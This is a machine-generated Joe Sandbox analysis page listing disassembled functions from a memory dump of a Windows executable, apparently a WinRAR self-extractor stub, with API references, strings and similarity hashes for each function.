Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: abort$CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 2889003569-2084237596
Opcode ID: 0f4c2d06ef2d655583c55900dbb020dcf620b12558a4295111afe460be181df6
Instruction ID: 9f4dafed2061a94df177e6491f1abb45840be813b1d4c139c9626da44e5c31c7
Opcode Fuzzy Hash: 0f4c2d06ef2d655583c55900dbb020dcf620b12558a4295111afe460be181df6
Instruction Fuzzy Hash: 39919E77A08BC18AE710CB65E8442AD7BA0FB04B99F184139EE4DA7756DF3CD5A5CB00

Function 00007FF655954F80 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF655954FAB
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF655955040
RtlUnwindEx.KERNEL32(?,?,?,?,?,?,?,00007FF655952F5E), ref: 00007FF65595508F

Strings

f, xrefs: 00007FF655954FBE
csm, xrefs: 00007FF655955026

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: a7c39da158025e753bf36dfb1e051fd0b17def11f5f8def40396cbfe1c046983
Instruction ID: 9ede53612541f968dac1f857461bd2fdd204dd522a98fb547900b1da8e6eaf20
Opcode Fuzzy Hash: a7c39da158025e753bf36dfb1e051fd0b17def11f5f8def40396cbfe1c046983
Instruction Fuzzy Hash: 2751C13AA1968286DB14CB21E548A393795FF40F9DF588030DA5EA774AEF7CEC51C740

Function 00007FF65592CEE0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 139COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF65592D03D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592D0D1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592D0D7

Part of subcall function 00007FF65592DE04: GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF65592CF4B), ref: 00007FF65592DE27
Part of subcall function 00007FF65592DE04: GetLastError.KERNEL32 ref: 00007FF65592DE88
Part of subcall function 00007FF65592DE04: CloseHandle.KERNEL32 ref: 00007FF65592DE9B

Strings

SeRestorePrivilege, xrefs: 00007FF65592CF5E
SeSecurityPrivilege, xrefs: 00007FF65592CF3F

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: ErrorLast_invalid_parameter_noinfo_noreturn$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 2102711378-639343689
Opcode ID: 4ad8962ae40659baaf1511d456c0931157e13c4a94880edc0a22eb1ae19da66a
Instruction ID: ecea991c85dfcb08f688966caadd948ace2408d6313659d4c62a9d4c0ee1c809
Opcode Fuzzy Hash: 4ad8962ae40659baaf1511d456c0931157e13c4a94880edc0a22eb1ae19da66a
Instruction Fuzzy Hash: F051C46AE187C145FB00DB64D8592BD23A1AF85BACF480135DE1DA36A7DF3CAC86C241

Function 00007FF655947B28 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

ShowWindow.USER32 ref: 00007FF655947B6F
GetWindowRect.USER32 ref: 00007FF655947BC0
ShowWindow.USER32 ref: 00007FF655947C96
ShowWindow.USER32 ref: 00007FF655947CC3

Strings

RarHtmlClassName, xrefs: 00007FF655947C4B

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: Window$Show$Rect
String ID: RarHtmlClassName
API String ID: 2396740005-1658105358
Opcode ID: 7e152e90957d1346e93cce3b53dfbd480fa38e990bdf0b518984ba75781cfd03
Instruction ID: 3995c8533744bfdd6ad426a6812134632e44c5d304038858704f363bd748c5b6
Opcode Fuzzy Hash: 7e152e90957d1346e93cce3b53dfbd480fa38e990bdf0b518984ba75781cfd03
Instruction Fuzzy Hash: 15518439A087C586EA24DB21E45837A63A1FF85F88F084535DE8E97B56DF3CEC458700

Function 00007FF65594FD0C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32 ref: 00007FF65594FD43
SetEnvironmentVariableW.KERNEL32 ref: 00007FF65594FDBC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594FE1B

Strings

sfxpar, xrefs: 00007FF65594FDB5
sfxcmd, xrefs: 00007FF65594FD3C

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: EnvironmentVariable$_invalid_parameter_noinfo_noreturn
String ID: sfxcmd$sfxpar
API String ID: 3540648995-3493335439
Opcode ID: f7f09a535254ba7702706040489ea7439e58d63b661cc729fc85acc9afefde13
Instruction ID: d167352a66d9eb2d452ad75e21355001c6af0e2d0f36a3bc587acb555709a8b1
Opcode Fuzzy Hash: f7f09a535254ba7702706040489ea7439e58d63b661cc729fc85acc9afefde13
Instruction Fuzzy Hash: E9316F7AA14B86C4EB048B65E4881AC2371FB88F9CF581131DE5DA7BAADF3CD855C344

Function 00007FF65594FED4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 52COMMON

Download Yara Rule

Strings

RENAMEDLG, xrefs: 00007FF65594FF60
REPLACEFILEDLG, xrefs: 00007FF65594FF34, 00007FF65594FF99

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 98f895654b64cd1d2f90e97d30244ed9b67d31cc2014a88c355cd353264df31a
Instruction ID: ab631da0875cdab679e3639f88549e0618ef7f68072c974a9cab70fc272049fd
Opcode Fuzzy Hash: 98f895654b64cd1d2f90e97d30244ed9b67d31cc2014a88c355cd353264df31a
Instruction Fuzzy Hash: F821D02D908BC7C2EA108B15A84817527A0FB49F8CF280036D9ADA3362DF3DEC848341

Function 00007FF65595BFB0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF65595BFD0
GetProcAddress.KERNEL32 ref: 00007FF65595BFE6
FreeLibrary.KERNEL32 ref: 00007FF65595C00B

Strings

mscoree.dll, xrefs: 00007FF65595BFC7
CorExitProcess, xrefs: 00007FF65595BFDF

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 42a4ca90c7c49dddb16080121233970ff8583544d2054868cb5f0899d871e2db
Instruction ID: ad199a47af0c4ff27a43fe4599fb3813b4152381c4077a755224afdaf6ccd689
Opcode Fuzzy Hash: 42a4ca90c7c49dddb16080121233970ff8583544d2054868cb5f0899d871e2db
Instruction Fuzzy Hash: 01F06829A19BC281EF448B11F45827963A0EF88F98F4C1035E94F96666DF3CD898C780

Function 00007FF6559645C0 Relevance: 7.7, APIs: 5, Instructions: 203COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF655964605

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: cf462e6f26ae3af6f96c078c51b53c82231ed120809331cf2f591469c69a5a17
Instruction ID: 009c771abf59d4cbc47cc601f8162263bfa1161580d3962a3b3ef5e0a6168c51
Opcode Fuzzy Hash: cf462e6f26ae3af6f96c078c51b53c82231ed120809331cf2f591469c69a5a17
Instruction Fuzzy Hash: B081D2AAE1879245F7109BA588886BC26A0BB45F8CF4C4135CD0FE3A97CF3CAC59C751

Function 00007FF655933AF8 Relevance: 7.7, APIs: 5, Instructions: 164filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF655933BBB
CreateFileW.KERNEL32 ref: 00007FF655933C24
SetFileTime.KERNEL32 ref: 00007FF655933CEC
CloseHandle.KERNEL32 ref: 00007FF655933CF6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655933D2C

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: File$Create$CloseHandleTime_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2398171386-0
Opcode ID: d0479325b88890862111e7aa44f383cc57eeb18b26d51e7f766025fa2f1e620b
Instruction ID: 5022040112f7076b6ac22ef2adc89b17a8d20e9fcaaaaa927a45f78acc0d5011
Opcode Fuzzy Hash: d0479325b88890862111e7aa44f383cc57eeb18b26d51e7f766025fa2f1e620b
Instruction Fuzzy Hash: 5751D32AB04B8299FB108B69E4483BD23B1AB44BACF194635DE1DA67D6DF3C9845C300

Function 00007FF655963F34 Relevance: 7.6, APIs: 5, Instructions: 142fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FF655964767), ref: 00007FF655963F91
WideCharToMultiByte.KERNEL32 ref: 00007FF65596406D
WriteFile.KERNEL32 ref: 00007FF655964093
WriteFile.KERNEL32 ref: 00007FF6559640D2
GetLastError.KERNEL32 ref: 00007FF65596410A

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiWide
String ID:
API String ID: 3659116390-0
Opcode ID: 8f90b3f8899b92826fb288bc35eb601c263b89b4fb676f823db5d062d6f6b41f
Instruction ID: ba6963f0b09631bf3f20b6651ecac1fd80424954e9941a711c58ade8606eddfc
Opcode Fuzzy Hash: 8f90b3f8899b92826fb288bc35eb601c263b89b4fb676f823db5d062d6f6b41f
Instruction Fuzzy Hash: FE51D176A14A9185E710CB65D4883AC3BB1FB54B9CF088135CE4EA7A9ADF3CD549C740

Function 00007FF655951E00 Relevance: 7.6, APIs: 5, Instructions: 137memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF655934DF4), ref: 00007FF655951E87
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF655934DF4), ref: 00007FF655951F09
SysAllocString.OLEAUT32 ref: 00007FF655951F16

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: ByteCharMultiWide$AllocString
String ID:
API String ID: 262959230-0
Opcode ID: 0c9fa0c6bf819422fbbcbf8a1cc47624dda944ba8802b04b3bf134fe07a1f51e
Instruction ID: a24e25b390d5dd75f8b0b7fbd3fb0191d33c89ea249bbddcc1ae8b1f39d658ad
Opcode Fuzzy Hash: 0c9fa0c6bf819422fbbcbf8a1cc47624dda944ba8802b04b3bf134fe07a1f51e
Instruction Fuzzy Hash: 0341C539A0978589EB149F2194482B82291EF04FA9F1C4634EAADE77D7EF3CD8659340

Function 00007FF65595F414 Relevance: 7.6, APIs: 5, Instructions: 114libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF65595F536

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: d8da239e760e4119be076ce5ae60c5d71a4e7276355522d8061e2664917ecd9d
Instruction ID: c99885de27083d4f0768ce53a6cdbbfe949115e02416b99f158ef383a3e2a3f8
Opcode Fuzzy Hash: d8da239e760e4119be076ce5ae60c5d71a4e7276355522d8061e2664917ecd9d
Instruction Fuzzy Hash: A44128AAB19A8281FA168F12A80C6752396BF44FE8F0D4535DD1DDB746EF3CE8118340

Function 00007FF6559656D8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6559656FF
_set_statfp.LIBCMT ref: 00007FF65596571A
_set_statfp.LIBCMT ref: 00007FF655965736
_set_statfp.LIBCMT ref: 00007FF655965772

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: f3bd3298a46f29c998dca386ec4adc9bd6d7efdfabb851da102e47160911a3a1
Instruction ID: 688f17a2d45195a6ec1544f4585d0991a060145b0a5f503da2055f9465e885a8
Opcode Fuzzy Hash: f3bd3298a46f29c998dca386ec4adc9bd6d7efdfabb851da102e47160911a3a1
Instruction Fuzzy Hash: F511907EE1878791FB640124E58937901416F54BA8ECC4230EA7DE65D78F2CEC484186

Function 00007FF65595625C Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF655956286
abort.LIBCMT ref: 00007FF6559564EA

Strings

csm, xrefs: 00007FF6559562AB
csm, xrefs: 00007FF65595641A

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: __except_validate_context_recordabort
String ID: csm$csm
API String ID: 746414643-3733052814
Opcode ID: 91fc108a1c492767e4bb41002f60c2920875b1ec76e01922ab372504797a4c8e
Instruction ID: 8a5cd47d92edb23714e051540a55a7049d17142b447b37a3f50a595bcc905ae5
Opcode Fuzzy Hash: 91fc108a1c492767e4bb41002f60c2920875b1ec76e01922ab372504797a4c8e
Instruction Fuzzy Hash: DF71AF6A6086C186D7618F25D05877D7BA0EF01F8EF089135DA8DA7A86CF3CE8A1C740

Function 00007FF6559580F4 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF65595811B
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6559582ED

Strings

*, xrefs: 00007FF655958221
, xrefs: 00007FF655958276

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: $*
API String ID: 3215553584-3982473090
Opcode ID: 42643a1ee39b50d27a50b926b179a62c0cdc4d381fe14b17104e750277292b9f
Instruction ID: e81c4e3d64b8a0a93596ea65a24d1b2ff676fd5f04de09b11b24b0c848031a92
Opcode Fuzzy Hash: 42643a1ee39b50d27a50b926b179a62c0cdc4d381fe14b17104e750277292b9f
Instruction Fuzzy Hash: 5751347A90C6828AE7648E28845D3B83BA1EF05F5EF6C1135C64AE119ACF6CDCA5C705

Function 00007FF655961758 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF6559617CB
MultiByteToWideChar.KERNEL32 ref: 00007FF655961894
GetStringTypeW.KERNEL32 ref: 00007FF6559618AE

Strings

$%s, xrefs: 00007FF65596175A

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: ByteCharMultiWide$StringType
String ID: $%s
API String ID: 3586891840-3791308623
Opcode ID: 8174e861c2faa6f2f7f5292a0ee7474812abc1109b8acb2517e9a7bc716d8d39
Instruction ID: 5f055d424d5c260f082f5172f6eb6362b5bbdb67cecf4cc5cb0d8047ce28fcf9
Opcode Fuzzy Hash: 8174e861c2faa6f2f7f5292a0ee7474812abc1109b8acb2517e9a7bc716d8d39
Instruction Fuzzy Hash: CB416026B15BC18AEF618F25D8082A96291FB44FACF4C4235DE1DA77C6DF3CE9458380

Function 00007FF6559566A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF655955210: abort.LIBCMT ref: 00007FF655955223

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF65595674A
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FF655956776

Strings

csm, xrefs: 00007FF655956876

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_recordabort
String ID: csm
API String ID: 2466640111-1018135373
Opcode ID: ef48871438151390fa300b301edbe87f2aaf35895cd4fd9de5e2d21b12dcaab2
Instruction ID: 74326094f1ead601a8ee9d24fe2f9ceb4f529220e7b7e646826f4a1f04be9697
Opcode Fuzzy Hash: ef48871438151390fa300b301edbe87f2aaf35895cd4fd9de5e2d21b12dcaab2
Instruction Fuzzy Hash: BD51707A61978187DA60AB25E04426E77A4FB88F95F480134DB8D97B57CF3CE860CB01

Function 00007FF655964360 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

